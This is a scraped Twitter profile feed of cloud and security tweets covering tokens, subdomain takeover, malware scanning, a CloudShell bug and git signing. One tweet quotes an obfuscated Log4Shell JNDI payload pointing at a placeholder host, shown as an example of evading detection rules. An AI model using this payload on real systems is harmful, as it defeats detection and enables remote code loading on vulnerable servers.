Kyle Keefer | BLM @keefer_sec

I enjoy cloud security. I am still looking for my niche in InfoSec. Black lives matter. Joined December 2017

Tweets

340
Followers

64
Following

504
Likes

915

MG @_MG_

4 years ago

That's a nice "jdni:ldap" detection you have there for #log4j. Would be a shame if someone were to: ${jndi:${lower:l}${lower:d}ap://badurl} (the cat & mouse game on this is great)

6 150 780 0 55

Katie🌻Moussouris (she/her/she-ra/she-hulk) 🪷 @k8em0

4 years ago

You down with JWT? No, you know me. A great detailed post about tokens by @tqbf

1 2 18 0 6

Download Image

Paul Schwarzenberger @paulschwarzen

4 years ago

Blog post describing new open source tool for protecting cloud infrastructure from subdomain takeover, using AWS Lambda functions integrated with Amazon Route53: tech.ovoenergy.com/how-we-prevent…

1 9 30 0 4

Download Image

Forrest Brazeal @forrestbrazeal

4 years ago

Finally, a use for math! "The Ransomware Song"

103 2K 4K 0 279

Download Video

Introducing Patrolaroid, a malware scanner for AWS instances that doesn't yeet around your prod. @rpetrich & I made it OSS so ppl don't have to deploy sketchy security tools in prod just for basic coverage of malware, miners, toolkits, backdoors, etc. github.com/rpetrich/patro…

14 84 319 0 48

martin_casado @martin_casado

4 years ago

[NewPost] Sure, Cloud is great. But we show it hurts share price of public companies on the order of hundreds of billions ... and they can economically justify almost any level of work (including repatriation) in order to lower costs (w/ @sarahdingwang) a16z.com/2021/05/27/cos…

68 227 982 0 411

Felix Wilhelm @_fel1x

4 years ago

AWS fixed a terminal escape injection in AWS CloudShell. The bug could have resulted in a full account compromise if an admin views malicious logs or external data using CloudShell: bugs.chromium.org/p/project-zero…

2 94 312 0 29

SwiftOnSecurity @SwiftOnSecurity

4 years ago

If you're considering a career in cybersecurity, I really caution you to think about what's going to happen once everything is secure.

134 282 3K 0 50

Filippo Valsorda @filippo.abyssdomain.expert @FiloSottile

4 years ago

Reminder, when you sign git tags you are signing the SHA-1 hash of the SHA-1 hash of a tree of SHA-1 hashes. Instead, sign the output of git -c core.autocrlf=false archive --format=zip which lets you use signify or ssh-keygen instead of gpg, too!

7 18 119 0 29

DEV Community @ThePracticalDev

4 years ago

1. Don’t return plain text 2. Use plural rather than singular 3. Avoid using verbs in URIs 4. Always return a meaningful status code 5. Use trailing slashes consistently 6. Use a framework #DEVCommunity dev.to/cbaggini/best-…

1 33 137 0 38

AWS Blog Unofficial. @AWSBlogUnreal

4 years ago

The AWS News Blog #AWSNews aws.amazon.com/blogs/aws/how-… By: Channy Yun

0 11 26 0 4

Robert Barat @volt4ire

5 years ago

congrats to Elasticsearch in somehow managing to make Amazon of all companies come out of this as the good guy

Amazon Web Services @awscloud

5 years ago

congrats to Elasticsearch in somehow managing to make Amazon of all companies come out of this as the good guy

37 261 746 0 24

Download Image

3 36 181 0 1

Scott Piper @0xdabbad00

5 years ago

@dinodaizovi I treat my cast iron like a t2.micro with no privileges I just spun up in an empty personal sandbox account: sudo pip install anything. You treat yours like a privileged EC2 in prod that hasn't been rebooted in years with no backups. :P

4 3 32 0 0

Ashley - Serious Security Scientist @Infosec_Taylor

5 years ago

Prominent Chinese woman in tech: Your app isn't completely secure and you should warn people of this. Signal: *block* Random White Dude: Ditto what she has been saying for years. Signal: Oh what a good point. We'll look into it! 🤨

Moxie Marlinspike @moxie

5 years ago

9 0 17 0 3

12 117 468 0 11

Otavio Ferreira @otaviofff

5 years ago

My team's 20th feature launch! 🚀 SNS now supports message archiving and analytics via Kinesis Data Firehose subscriptions. You can store SNS messages in S3, Redshift, Elasticsearch and 3rd-party targets, such as Datadog, Splunk and more! #serverless #aws aws.amazon.com/blogs/compute/…

2 16 46 0 5

Rohit @sec_r0

5 years ago

#SAML is tricky but it is beautiful to see how it provides SSO across federations with SAML assertions. Simple flow below. Content framed by @DiwasSedai Full text landing Soon. #infosec #infosecurity #web #webcomic #DEVCommunity #bugbounty #bugbountytip #bugbountytips #security